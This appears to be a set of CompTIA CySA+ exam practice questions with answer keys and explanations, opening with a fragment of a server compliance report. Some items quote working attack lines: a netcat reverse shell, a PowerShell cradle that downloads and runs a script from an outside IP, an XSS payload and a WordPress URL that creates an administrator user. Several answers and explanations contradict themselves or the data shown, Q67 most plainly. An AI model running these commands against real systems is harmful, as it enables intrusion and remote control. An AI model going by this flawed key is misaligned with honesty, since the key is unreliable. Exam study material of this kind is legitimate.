Fill out the following report based on your analysis of the scan data.

---

AppServ1 is only using TLS 1.2

---

AppServ2 is only using TLS 1.2

---

AppServ3 is only using TLS 1.2

---

AppServ4 is only using TLS 1.2

---

AppServ1 is using Apache 2.4.18 or greater

---

AppServ2 is using Apache 2.4.18 or greater

---

AppServ3 is using Apache 2.4.18 or greater

---

AppServ4 is using Apache 2.4.18 or greater

Part 2:  
Based on the compliance report, I recommend the following changes for each server: AppServ1: No changes are needed for this server.  
AppServ2: Disable or upgrade TLS 1.0 and TLS 1.1 to TLS 1.2 on this server to ensure secure encryption and communication between clients and the server. Update Apache from version 2.4.17 to version 2.4.18 or greater on this server to fix any potential vulnerabilities or bugs.  
AppServ3: Downgrade Apache from version 2.4.19 to version 2.4.18 or lower on this server to ensure compatibility and stability with the company's applications and policies. Change the port number from 8080 to either port 80 (for HTTP) or port 443 (for HTTPS) on this server to follow the default port convention and avoid any confusion or conflicts with other services.  
AppServ4: Update Apache from version 2.4.16 to version 2.4.18 or greater on this server to fix any potential vulnerabilities or bugs. Change the port number from 8443 to either port 80 (for HTTP) or port 443 (for HTTPS) on this server to follow the default port convention and avoid any confusion or conflicts with other services.

**NEW QUESTION 46**

Following a recent security incident, the Chief Information Security Officer is concerned with improving visibility and reporting of malicious actors in the environment. The goal is to reduce the time to prevent lateral movement and potential data exfiltration. Which of the following techniques will best achieve the improvement?

- A. Mean time to detect
- B. Mean time to respond
- C. Mean time to remediate
- D. Service-level agreement uptime

**Answer:** A

**Explanation:**

Mean time to detect (MTTD) is a metric that measures how quickly an organization can identify a security incident or a malicious actor in the environment. Reducing MTTD can improve visibility and reporting of threats, as well as prevent lateral movement and data exfiltration by detecting them sooner.

**NEW QUESTION 47**

A security audit for unsecured network services was conducted, and the following output was generated:

```
#nmap --top-ports 7 192.29.0.5
```

PORT	STATE	SERVICE
21	closed	ftp
22	open	ssh
23	filtered	telnet
636	open	ldaps
1723	open	pptp
443	closed	https
3389	closed	ms-term-server

Which of the following services should the security team investigate further? (Select two).

- A. 21
- B. 22
- C. 23
- D. 636
- E. 1723
- F. 3389

**Answer:** CD

**Explanation:**

The output shows the results of a port scan, which is a technique used to identify open ports and services running on a network host. Port scanning can be used by attackers to discover potential vulnerabilities and exploit them, or by defenders to assess the security posture and configuration of their network devices. The output lists six ports that are open on the target host, along with the service name and version associated with each port. The service name indicates the type of application or protocol that is using the port, while the version indicates the specific release or update of the service. The service name and version can provide useful information for both attackers and defenders, as they can reveal the capabilities, features, and weaknesses of the service. Among the six ports listed, two are particularly risky and should be investigated further by the security team: port 23 and port 636. Port 23 is used by Telnet, which is an old and insecure protocol for remote login and command execution. Telnet does not encrypt any data transmitted over the network, including usernames and passwords, which makes it vulnerable to eavesdropping, interception, and modification by attackers. Telnet also has many known vulnerabilities that can allow attackers to gain unauthorized access, execute arbitrary commands, or cause denial-of-service attacks on the target host. Port 636 is used by LDAP over SSL/TLS (LDAPS), which is a protocol for accessing and modifying directory services over a secure connection. LDAPS encrypts the data exchanged between the client and the server using SSL/TLS certificates, which provide authentication, confidentiality, and integrity. However, LDAPS can also be vulnerable to attacks if the certificates are not properly configured, verified, or updated. For example, attackers can use self-signed or expired certificates to perform man-in-the-middle attacks, spoofing attacks, or certificate revocation attacks on LDAPS connections. Therefore, the security team should investigate further why port 23 and port 636 are open on the target host, and what services are running on them. The security team should also consider disabling or replacing these services with more secure alternatives, such as SSH for port 23 and StartTLS for port 636.

**NEW QUESTION 50**

Which of the following best describes the key elements of a successful information security program?

- A. Business impact analysis, asset and change management, and security communication plan
- B. Security policy implementation, assignment of roles and responsibilities, and information asset classification
- C. Disaster recovery and business continuity planning, and the definition of access control requirements and human resource policies
- D. Senior management organizational structure, message distribution standards, and procedures for the operation of security management systems

**Answer:** B

**Explanation:**

A successful information security program consists of several key elements that align with the organization's goals and objectives, and address the risks and threats to its information assets.

- ? Security policy implementation: This is the process of developing, documenting, and enforcing the rules and standards that govern the security of the organization's information assets. Security policies define the scope, objectives, roles, and responsibilities of the security program, as well as the acceptable use, access control, incident response, and compliance requirements for the information assets.
- ? Assignment of roles and responsibilities: This is the process of identifying and assigning the specific tasks and duties related to the security program to the appropriate individuals or groups within the organization. Roles and responsibilities define who is accountable, responsible, consulted, and informed for each security activity, such as risk assessment, vulnerability management, threat detection, incident response, auditing, and reporting.
- ? Information asset classification: This is the process of categorizing the information assets based on their value, sensitivity, and criticality to the organization. Information asset classification helps to determine the appropriate level of protection and controls for each asset, as well as the impact and likelihood of a security breach or loss. Information asset classification also facilitates the prioritization of security resources and efforts based on the risk level of each asset.

**NEW QUESTION 51**

Which of the following would help an analyst to quickly find out whether the IP address in a SIEM alert is a known-malicious IP address?

- A. Join an information sharing and analysis center specific to the company's industry.
- B. Upload threat intelligence to the IPS in STIX/TAXII format.
- C. Add data enrichment for IPS in the ingestion pipeline.
- D. Review threat feeds after viewing the SIEM alert.

**Answer:** C

**Explanation:**

The best option to quickly find out whether the IP address in a SIEM alert is a known-malicious IP address is C. Add data enrichment for IPS in the ingestion pipeline.

Data enrichment is the process of adding more information and context to raw data, such as IP addresses, by using external sources. Data enrichment can help analysts to gain more insights into the nature and origin of the threats they face, and to prioritize and respond to them accordingly. Data enrichment for IPS (Intrusion Prevention System) means that the IPS can use enriched data to block or alert on malicious traffic based on various criteria, such as geolocation, reputation, threat intelligence, or behavior. By adding data enrichment for IPS in the ingestion pipeline, analysts can leverage the IPS's capabilities to filter out known-malicious IP addresses before they reach the SIEM, or to tag them with relevant information for further analysis. This can save time and resources for the analysts, and improve the accuracy and efficiency of the SIEM.

The other options are not as effective or efficient as data enrichment for IPS in the ingestion pipeline. Joining an information sharing and analysis center (ISAC) specific to the company's industry (A) can provide valuable threat intelligence and best practices, but it may not be timely or comprehensive enough to cover all possible malicious IP addresses. Uploading threat intelligence to the IPS in STIX/TAXII format (B) can help the IPS to identify and block malicious IP addresses based on standardized indicators of compromise, but it may require manual or periodic updates and integration with the SIEM. Reviewing threat feeds after viewing the SIEM alert (D) can help analysts to verify and contextualize the malicious IP addresses, but it may be too late or too slow to prevent or mitigate the damage. Therefore, C is the best option among the choices given.

**NEW QUESTION 53**

Which of the following is the first step that should be performed when establishing a disaster recovery plan?

- A. Agree on the goals and objectives of the plan
- B. Determine the site to be used during a disaster
- C. Demonstrate adherence to a standard disaster recovery process
- D. Identify applications to be run during a disaster

**Answer:** A

**Explanation:**

The first step that should be performed when establishing a disaster recovery plan is to agree on the goals and objectives of the plan. The goals and objectives of the plan should define what the plan aims to achieve, such as minimizing downtime, restoring critical functions, ensuring data integrity, or meeting compliance requirements. The goals and objectives of the plan should also be aligned with the business needs and priorities of the organization and be measurable and achievable.

**NEW QUESTION 58**

An analyst is suddenly unable to enrich data from the firewall. However, the other open intelligence feeds continue to work. Which of the following is the most likely reason the firewall feed stopped working?

- A. The firewall service account was locked out.
- B. The firewall was using a paid feed.
- C. The firewall certificate expired.
- D. The firewall failed open.

**Answer:** C

**Explanation:**

The firewall certificate expired. If the firewall uses a certificate to authenticate and encrypt the feed, and the certificate expires, the feed will stop working until the certificate is renewed or replaced. This can affect the data enrichment process and the security analysis. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 4: Security Operations and Monitoring, page 161.

**NEW QUESTION 62**

Exploit code for a recently disclosed critical software vulnerability was publicly available (or download for several days before being removed). Which of the following CVSS v.3.1 temporal metrics was most impacted by this exposure?

- A. Remediation level
- B. Exploit code maturity
- C. Report confidence
- D. Availability

**Answer:** B

**Explanation:**

Exploit code maturity in the CVSS v.3.1 temporal metrics refers to the reliability and availability of exploit code for a vulnerability. Public availability of exploit code increases the exploit code maturity score.

The availability of exploit code affects the 'Exploit Code Maturity' metric in CVSS v.3.1. This metric evaluates the level of maturity of the exploit that targets the vulnerability. When exploit code is readily available, it suggests a higher level of maturity, indicating that the exploit is more reliable and easier to use.

**NEW QUESTION 67**

A systems analyst is limiting user access to system configuration keys and values in a Windows environment. Which of the following describes where the analyst can find these configuration items?

- A. confi
- B. ini
- C. ntds.dit
- D. Master boot record
- E. Registry

**Answer:** D

**Explanation:**

The correct answer is D. Registry.

The registry is a database that stores system configuration keys and values in a Windows environment. The registry contains information about the hardware,

software, users, and preferences of the system. The registry can be accessed and modified using the Registry Editor tool (regedit.exe) or the command-line tool (reg.exe). The registry is organized into five main sections, called hives, which are further divided into subkeys and values.

The other options are not the best descriptions of where the analyst can find system configuration keys and values in a Windows environment. config.ini (A) is a file that stores configuration settings for some applications, but it is not a database that stores system configuration keys and values. ntds.dit (B) is a file that stores the Active Directory data for a domain controller, but it is not a database that stores system configuration keys and values. Master boot record © is a section of the hard disk that contains information about the partitions and the boot loader, but it is not a database that stores system configuration keys and values.

**NEW QUESTION 71**

Which of following would best mitigate the effects of a new ransomware attack that was not properly stopped by the company antivirus?

- A. Install a firewall.
- B. Implement vulnerability management.
- C. Deploy sandboxing.
- D. Update the application blocklist.

**Answer: C**

**Explanation:**

Sandboxing is a technique that isolates potentially malicious programs or files in a controlled environment, preventing them from affecting the rest of the system. It can help mitigate the effects of a new ransomware attack by preventing it from encrypting or deleting important data or spreading to other devices. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 5, page 202; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 5, page 210.

**NEW QUESTION 72**

A security analyst obtained the following table of results from a recent vulnerability assessment that was conducted against a single web server in the environment:

Finding	Impact	Credential required?	Complexity
Self-signed certificate in use	High	No	High
Old copyright date	Low	No	N/A
All user input accepted on forms	High	No	Low
Full error messages displayed	Medium	No	Low
Control panel login open to public	High	Yes	Medium

Which of the following should be completed first to remediate the findings?

- A. Ask the web development team to update the page contents
- B. Add the IP address allow listing for control panel access
- C. Purchase an appropriate certificate from a trusted root CA
- D. Perform proper sanitization on all fields

**Answer: D**

**Explanation:**

The first action that should be completed to remediate the findings is to perform proper sanitization on all fields. Sanitization is a process that involves validating, filtering, or encoding any user input or data before processing or storing it on a system or application. Sanitization can help prevent various types of attacks, such as cross-site scripting (XSS), SQL injection, or command injection, that exploit unsanitized input or data to execute malicious scripts, commands, or queries on a system or application. Performing proper sanitization on all fields can help address the most critical and common vulnerability found during the vulnerability assessment, which is XSS.

**NEW QUESTION 74**

A security analyst noticed the following entry on a web server log:

Warning: fopen (http://127.0.0.1:16) :

failed to open stream:

Connection refused in /hj/var/www/showimage.php on line 7

Which of the following malicious activities was most likely attempted?

- A. XSS
- B. CSRF
- C. SSRF
- D. RCE

**Answer: C**

**Explanation:**

The malicious activity that was most likely attempted is SSRF (Server-Side Request Forgery). This is a type of attack that exploits a vulnerable web application to make requests to other resources on behalf of the web server. In this case, the attacker tried to use the fopen function to access the local loopback address (127.0.0.1) on port 16, which could be a service that is not intended to be exposed to the public. The connection was refused, indicating that the port was closed or filtered. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 2: Software and Application Security, page 66.

**NEW QUESTION 79**

An organization would like to ensure its cloud infrastructure has a hardened configuration. A requirement is to create a server image that can be deployed with a

secure template. Which of the following is the best resource to ensure secure configuration?

- A. CIS Benchmarks
- B. PCI DSS
- C. OWASP Top Ten
- D. ISO 27001

**Answer:** A

**Explanation:**

The best resource to ensure secure configuration of cloud infrastructure is A. CIS Benchmarks. CIS Benchmarks are a set of prescriptive configuration recommendations for various technologies, including cloud providers, operating systems, network devices, and server software. They are developed by a global community of cybersecurity experts and help organizations protect their systems against threats more confidently<sup>1</sup> PCI DSS, OWASP Top Ten, and ISO 27001 are also important standards for information security, but they are not focused on providing specific guidance for hardening cloud infrastructure. PCI DSS is a compliance scheme for payment card transactions, OWASP Top Ten is a list of common web application security risks, and ISO 27001 is a framework for establishing and maintaining an information security management system. These standards may have some relevance for cloud security, but they are not as comprehensive and detailed as CIS Benchmarks

**NEW QUESTION 84**

Each time a vulnerability assessment team shares the regular report with other teams, inconsistencies regarding versions and patches in the existing infrastructure are discovered. Which of the following is the best solution to decrease the inconsistencies?

- A. Implementing credentialed scanning
- B. Changing from a passive to an active scanning approach
- C. Implementing a central place to manage IT assets
- D. Performing agentless scanning

**Answer:** C

**Explanation:**

Implementing a central place to manage IT assets is the best solution to decrease the inconsistencies regarding versions and patches in the existing infrastructure. A central place to manage IT assets, such as a configuration management database (CMDB), can help the vulnerability assessment team to have an accurate and up-to-date inventory of all the hardware and software components in the network, as well as their relationships and dependencies. A CMDB can also track the changes and updates made to the IT assets, and provide a single source of truth for the vulnerability assessment team and other teams to compare and verify the versions and patches of the infrastructure<sup>2</sup>. Implementing credentialed scanning, changing from a passive to an active scanning approach, and performing agentless scanning are all methods to improve the vulnerability scanning process, but they do not address the root cause of the inconsistencies, which is the lack of a central place to manage IT assets<sup>3</sup>. References: What is a Configuration Management Database (CMDB)?, How to Use a CMDB to Improve Vulnerability Management, Vulnerability Scanning Best Practices

**NEW QUESTION 86**

A disgruntled open-source developer has decided to sabotage a code repository with a logic bomb that will act as a wiper. Which of the following parts of the Cyber Kill Chain does this act exhibit?

- A. Reconnaissance
- B. Weaponization
- C. Exploitation
- D. Installation

**Answer:** B

**Explanation:**

Weaponization is the stage of the Cyber Kill Chain where the attacker creates or modifies a malicious payload to use against a target. In this case, the disgruntled open-source developer has created a logic bomb that will act as a wiper, which is a type of malware that destroys data on a system. This is an example of weaponization, as the developer has prepared a cyberweapon to sabotage the code repository.

References: The answer was based on the web search results from Bing, especially the following sources:

? Cyber Kill Chain® | Lockheed Martin, which states: "In the weaponization step, the adversary creates remote access malware weapon, such as a virus or worm, tailored to one or more vulnerabilities."

? The Cyber Kill Chain: The Seven Steps of a Cyberattack - EC-Council, which states: "In the weaponization stage, all of the attacker's preparatory work culminates in the creation of malware to be used against an identified target."

? What is the Cyber Kill Chain? Introduction Guide - CrowdStrike, which states:

"Weaponization: The attacker creates a malicious payload that will be delivered to the target."

**NEW QUESTION 88**

Which of the following statements best describes the MITRE ATT&CK framework?

- A. It provides a comprehensive method to test the security of applications.
- B. It provides threat intelligence sharing and development of action and mitigation strategies.
- C. It helps identify and stop enemy activity by highlighting the areas where an attacker functions.
- D. It tracks and understands threats and is an open-source project that evolves.
- E. It breaks down intrusions into a clearly defined sequence of phases.

**Answer:** D

**Explanation:**

The MITRE ATT&CK framework is a knowledge base of cybercriminals' adversarial behaviors based on cybercriminals' known tactics, techniques and procedures (TTPs). It helps security teams model, detect, prevent and fight cybersecurity threats by simulating cyberattacks, creating security policies, controls and incident response plans, and sharing information with other security professionals. It is an open-source project that evolves with input from a global community of cybersecurity professionals<sup>1</sup>. References: What is the MITRE ATT&CK Framework? | IBM

**NEW QUESTION 92**

A managed security service provider is having difficulty retaining talent due to an increasing workload caused by a client doubling the number of devices connected to the network.

Which of the following would best aid in decreasing the workload without increasing staff?

- A. SIEM
- B. XDR
- C. SOAR
- D. EDR

**Answer: C**

**Explanation:**

SOAR stands for Security Orchestration, Automation and Response, which is a set of features that can help security teams manage, prioritize and respond to security incidents more efficiently and effectively. SOAR can help decrease the workload without increasing staff by automating repetitive tasks, streamlining workflows, integrating different tools and platforms, and providing actionable insights and recommendations. SOAR is also one of the current trends that CompTIA CySA+ covers in its exam objectives. Official References:

? <https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered>

? <https://www.comptia.org/certifications/cybersecurity-analyst>

? <https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives>

**NEW QUESTION 97**

An organization has experienced a breach of customer transactions. Under the terms of PCI DSS, which of the following groups should the organization report the breach to?

- A. PCI Security Standards Council
- B. Local law enforcement
- C. Federal law enforcement
- D. Card issuer

**Answer: D**

**Explanation:**

Under the terms of PCI DSS, an organization that has experienced a breach of customer transactions should report the breach to the card issuer. The card issuer is the financial institution that issues the payment cards to the customers and that is responsible for authorizing and processing the transactions. The card issuer may have specific reporting requirements and procedures for the organization to follow in the event of a breach. The organization should also notify other parties that may be affected by the breach, such as customers, law enforcement, or regulators, depending on the nature and scope of the breach. Official References: <https://www.pcisecuritystandards.org/>

**NEW QUESTION 98**

During an internal code review, software called "ACE" was discovered to have a vulnerability that allows the execution of arbitrary code. The vulnerability is in a legacy, third-party vendor resource that is used by the ACE software. ACE is used worldwide and is essential for many businesses in this industry. Developers informed the Chief Information Security Officer that removal of the vulnerability will take time. Which of the following is the first action to take?

- A. Look for potential IoCs in the company.
- B. Inform customers of the vulnerability.
- C. Remove the affected vendor resource from the ACE software.
- D. Develop a compensating control until the issue can be fixed permanently.

**Answer: D**

**Explanation:**

A compensating control is an alternative measure that provides a similar level of protection as the original control, but is used when the original control is not feasible or cost-effective. In this case, the CISO should develop a compensating control to mitigate the risk of the vulnerability in the ACE software, such as implementing additional monitoring, firewall rules, or encryption, until the issue can be fixed permanently by the developers. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 5, page 197; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 5, page 205.

**NEW QUESTION 103**

Which of the following techniques can help a SOC team to reduce the number of alerts related to the internal security activities that the analysts have to triage?

- A. Enrich the SIEM-ingested data to include all data required for triage.
- B. Schedule a task to disable alerting when vulnerability scans are executing.
- C. Filter all alarms in the SIEM with low severity.
- D. Add a SOAR rule to drop irrelevant and duplicated notifications.

**Answer: B**

**NEW QUESTION 106**

While configuring a SIEM for an organization, a security analyst is having difficulty correlating incidents across different systems. Which of the following should be checked first?

- A. If appropriate logging levels are set
- B. NTP configuration on each system
- C. Behavioral correlation settings
- D. Data normalization rules

**Answer: B**

**Explanation:**

The NTP configuration on each system should be checked first, as it is essential for ensuring accurate and consistent time stamps across different systems. NTP is the Network Time Protocol, which is used to synchronize the clocks of computers over a network. NTP uses a hierarchical system of time sources, where each level is assigned a stratum number. The most accurate time sources, such as atomic clocks or GPS receivers, are at stratum 0, and the devices that synchronize with them are at stratum 1, and so on. NTP clients can query multiple NTP servers and use algorithms to select the best time source and adjust their clocks accordingly<sup>1</sup>. If the NTP configuration is not consistent or correct on each system, the time stamps of the logs and events may differ, making it difficult to correlate incidents across different systems. This can affect the security analysis and correlation of events, as well as the compliance and auditing of the network<sup>23</sup>.

References: How the Windows Time Service Works, Time Synchronization - All You Need To Know, What is SIEM? | Microsoft Security

**NEW QUESTION 107**

The security operations team is required to consolidate several threat intelligence feeds due to redundant tools and portals. Which of the following will best achieve the goal and maximize results?

- A. Single pane of glass
- B. Single sign-on
- C. Data enrichment
- D. Deduplication

**Answer:** D

**Explanation:**

Deduplication is a process that involves removing any duplicate or redundant data or information from a data set or source. Deduplication can help consolidate several

threat intelligence feeds by eliminating any overlapping or repeated indicators of compromise (IoCs), alerts, reports, or recommendations. Deduplication can also help reduce the volume and complexity of threat intelligence data, as well as improve its quality, accuracy, or relevance.

**NEW QUESTION 108**

A security analyst detected the following suspicious activity:

```
rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 > tmp/f
```

 Which of the following most likely describes the activity?

- A. Network pivoting
- B. Host scanning
- C. Privilege escalation
- D. Reverse shell

**Answer:** D

**Explanation:**

The command `rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 > tmp/f` is a one-liner that creates a reverse shell from the target machine to the attacker's machine. It does the following steps:

- `rm -f /tmp/f` deletes any existing file named `/tmp/f`
- `mknod /tmp/f p` creates a named pipe (FIFO) file named `/tmp/f`
- `cat /tmp/f|/bin/sh -i 2>&1` reads from the pipe and executes the commands using `/bin/sh` in interactive mode, redirecting the standard error to the standard output
- `nc 10.0.0.1 1234 > tmp/f` connects to the attacker's machine at IP address 10.0.0.1 and port 1234 using netcat, and writes the output to the pipe

This way, the attacker can send commands to the target machine and receive the output through the netcat connection, effectively creating a reverse shell.

References Hack the Galaxy

Reverse Shell Cheat Sheet

**NEW QUESTION 111**

A technician identifies a vulnerability on a server and applies a software patch. Which of the following should be the next step in the remediation process?

- A. Testing
- B. Implementation
- C. Validation
- D. Rollback

**Answer:** C

**Explanation:**

The next step in the remediation process after applying a software patch is validation. Validation is a process that involves verifying that the patch has been successfully applied, that it has fixed the vulnerability, and that it has not caused any adverse effects on the system or application functionality or performance. Validation can be done using various methods, such as scanning, testing, monitoring, or auditing.

**NEW QUESTION 115**

A security analyst needs to provide evidence of regular vulnerability scanning on the company's network for an auditing process. Which of the following is an example of a tool that can produce such evidence?

- A. OpenVAS
- B. Burp Suite
- C. Nmap
- D. Wireshark

**Answer:** A

**Explanation:**

OpenVAS is an open-source tool that performs comprehensive vulnerability scanning and assessment on the network. It can generate reports and evidence of the scan results, which can be used for auditing purposes. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 5, page 199; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 5, page 207.

**NEW QUESTION 118**

A SOC analyst is analyzing traffic on a network and notices an unauthorized scan. Which of the following types of activities is being observed?

- A. Potential precursor to an attack
- B. Unauthorized peer-to-peer communication
- C. Rogue device on the network
- D. System updates

**Answer:** A

**NEW QUESTION 119**

A security analyst found the following vulnerability on the company's website:

```
<INPUT TYPE="IMAGE" SRC="javascript:alert('test');">
```

Which of the following should be implemented to prevent this type of attack in the future?

- A. Input sanitization
- B. Output encoding
- C. Code obfuscation
- D. Prepared statements

**Answer:** A

**Explanation:**

This is a type of web application vulnerability called cross-site scripting (XSS), which allows an attacker to inject malicious code into a web page that is viewed by other users. XSS can be used to steal cookies, session tokens, credentials, or other sensitive information, or to perform actions on behalf of the victim.

Input sanitization is a technique that prevents XSS attacks by checking and filtering the user input before processing it. Input sanitization can remove or encode any characters or strings that may be interpreted as code by the browser, such as <, >, ", ', or javascript:. Input sanitization can also validate the input against a predefined format or range of values, and reject any input that does not match.

Output encoding is a technique that prevents XSS attacks by encoding the output before sending it to the browser. Output encoding can convert any characters or strings that may be interpreted as code by the browser into harmless entities, such as <, >, ", ', or javascript:. Output encoding can also escape any special characters that may have a different meaning in different contexts, such as , /, or ;.

Code obfuscation is a technique that makes the source code of a web application more difficult to read and understand by humans. Code obfuscation can use techniques such as renaming variables and functions, removing comments and whitespace, replacing literals with expressions, or adding dummy code. Code obfuscation can help protect the intellectual property and trade secrets of a web application, but it does not prevent XSS attacks.

**NEW QUESTION 120**

A systems administrator receives reports of an internet-accessible Linux server that is running very sluggishly. The administrator examines the server, sees a high amount of memory utilization, and suspects a DoS attack related to half-open TCP sessions consuming memory. Which of the following tools would best help to prove whether this server was experiencing this behavior?

- A. Nmap
- B. TCPDump
- C. SIEM
- D. EDR

**Answer:** B

**Explanation:**

TCPDump is the best tool to prove whether the server was experiencing a DoS attack related to half-open TCP sessions consuming memory. TCPDump is a command-line tool that can capture and analyze network traffic, such as TCP, UDP, and ICMP packets. TCPDump can help the administrator to identify the source and destination of the traffic, the TCP flags and sequence numbers, the packet size and frequency, and other information that can indicate a DoS attack. A DoS attack related to half-open TCP sessions is also known as a SYN flood attack, which is a type of volumetric attack that aims to exhaust the network bandwidth or resources of the target server by sending a large amount of TCP SYN requests and ignoring the TCP SYN-ACK responses. This creates a backlog of half-open connections on the server, which consume memory and CPU resources, and prevent legitimate connections from being established<sup>12</sup>. TCPDump can help the administrator to detect a SYN flood attack by looking for a high number of TCP SYN packets with different source IP addresses, a low number of TCP SYN-ACK packets, and a very low number of TCP ACK packets<sup>34</sup>. References: SYN flood DDoS attack | Cloudflare, What is a SYN flood attack and how to prevent it? | NETSCOUT, TCPDump - A Powerful Tool for Network Analysis and Security, How to Detect a SYN Flood Attack with TCPDump

**NEW QUESTION 124**

Which of the following does "federation" most likely refer to within the context of identity and access management?

- A. Facilitating groups of users in a similar function or profile to system access that requires elevated or conditional access
- B. An authentication mechanism that allows a user to utilize one set of credentials to access multiple domains
- C. Utilizing a combination of what you know, who you are, and what you have to grant authentication to a user
- D. Correlating one's identity with the attributes and associated applications the user has access to

**Answer:** B

**Explanation:**

Federation is a system of trust between two parties for the purpose of authenticating users and conveying information needed to authorize their access to resources. By using federation, a user can use one set of credentials to access multiple domains that trust each other.

**NEW QUESTION 127**

Which of the following best describes the threat concept in which an organization works to ensure that all network users only open attachments from known sources?

- A. Hacktivist threat
- B. Advanced persistent threat
- C. Unintentional insider threat

D. Nation-state threat

**Answer:** C

**Explanation:**

An unintentional insider threat is a type of network security threat that occurs when a legitimate user of the network unknowingly exposes the network to malicious activity, such as opening a phishing email or a malware-infected attachment from an unknown source. This can compromise the network security and allow attackers to access sensitive data or systems. The other options are not related to the threat concept of ensuring that all network users only open attachments from known sources.

References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 1: Threat and Vulnerability Management, page 13. What is Network Security | Threats, Best Practices

| Imperva, Network Security Threats and Attacks, Phishing section. Five Ways to Defend Against Network Security Threats, 2. Use Firewalls section.

**NEW QUESTION 132**

A SIEM alert is triggered based on execution of a suspicious one-liner on two workstations in the organization's environment. An analyst views the details of these events below:

```
rundll32.exe javascript:..\mshtml,RunHTMLApplication ";document.write();r=new%20ActiveXObject ("WScript.Shell").run("powershell -w h -nologo -noprofile -ep bypass IEX ((New-Object Net.WebClient).DownloadString('77.247.109.185/AccessToken.psl'))",0,true);
```

Which of the following statements best describes the intent of the attacker, based on this one-liner?

- A. Attacker is escalating privileges via JavaScript.
- B. Attacker is utilizing custom malware to download an additional script.
- C. Attacker is executing PowerShell script "AccessToken.psr."
- D. Attacker is attempting to install persistence mechanisms on the target machine.

**Answer:** B

**Explanation:**

The one-liner script is utilizing JavaScript to execute a PowerShell command that downloads and runs a script from an external source, indicating the use of custom malware to download an additional script. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 4: Security Operations and Monitoring, page 156.

**NEW QUESTION 137**

Which of the following would eliminate the need for different passwords for a variety of internal applications?

- A. CASB
- B. SSO
- C. PAM
- D. MFA

**Answer:** B

**Explanation:**

Single Sign-On (SSO) allows users to log in with a single ID and password to access multiple applications. It eliminates the need for different passwords for various internal applications, streamlining the authentication process.

**NEW QUESTION 140**

A Chief Information Security Officer (CISO) wants to disable a functionality on a business-critical web application that is vulnerable to RCE in order to maintain the minimum risk level with minimal increased cost.

Which of the following risk treatments best describes what the CISO is looking for?

- A. Transfer
- B. Mitigate
- C. Accept
- D. Avoid

**Answer:** B

**NEW QUESTION 145**

Which of the following risk management principles is accomplished by purchasing cyber insurance?

- A. Accept
- B. Avoid
- C. Mitigate
- D. Transfer

**Answer:** D

**Explanation:**

Transfer is the risk management principle that is accomplished by purchasing cyber insurance. Transfer is a strategy that involves shifting the risk or its consequences to another party, such as an insurance company, a vendor, or a partner. Transfer does not eliminate the risk, but it reduces the potential impact or liability of the risk for the original party. Cyber insurance is a type of insurance that covers the losses and damages resulting from cyberattacks, such as data breaches, ransomware, denial-of-service attacks, or network disruptions. Cyber insurance can help transfer the risk of cyber incidents by providing financial compensation, legal assistance, or recovery services to the insured party. Official References:

? <https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives>

? <https://www.comptia.org/certifications/cybersecurity-analyst>

? <https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered>

**NEW QUESTION 150**

During an incident, an analyst needs to acquire evidence for later investigation. Which of the following must be collected first in a computer system, related to its volatility level?

- A. Disk contents
- B. Backup data
- C. Temporary files
- D. Running processes

**Answer:** D

**Explanation:**

The most volatile type of evidence that must be collected first in a computer system is running processes. Running processes are programs or applications that are currently executing on a computer system and using its resources, such as memory, CPU, disk space, or network bandwidth. Running processes are very volatile because they can change rapidly or disappear completely when the system is shut down, rebooted, logged off, or crashed. Running processes can also be affected by other processes or users that may modify or terminate them. Therefore, running processes must be collected first before any other type of evidence in a computer system

**NEW QUESTION 154**

A SOC manager receives a phone call from an upset customer. The customer received a vulnerability report two hours ago: but the report did not have a follow-up remediation response from an analyst. Which of the following documents should the SOC manager review to ensure the team is meeting the appropriate contractual obligations for the customer?

- A. SLA
- B. MOU
- C. NDA
- D. Limitation of liability

**Answer:** A

**Explanation:**

SLA stands for service level agreement, which is a contract or document that defines the expectations and obligations between a service provider and a customer regarding the quality, availability, performance, or scope of a service. An SLA may also specify the metrics, penalties, or remedies for measuring or ensuring compliance with the agreed service levels. An SLA can help the SOC manager review if the team is meeting the appropriate contractual obligations for the customer, such as response time, resolution time, reporting frequency, or communication channels.

**NEW QUESTION 159**

An analyst has received an IPS event notification from the SIEM stating an IP address, which is known to be malicious, has attempted to exploit a zero-day vulnerability on several web servers. The exploit contained the following snippet:

```
/wp-json/trx_addons/v2/get/sc_layout?sc=wp_insert_user&role=administrator
```

Which of the following controls would work best to mitigate the attack represented by this snippet?

- A. Limit user creation to administrators only.
- B. Limit layout creation to administrators only.
- C. Set the directory `trx_addons` to read only for all users.
- D. Set the directory `v2` to read only for all users.

**Answer:** A

**Explanation:**

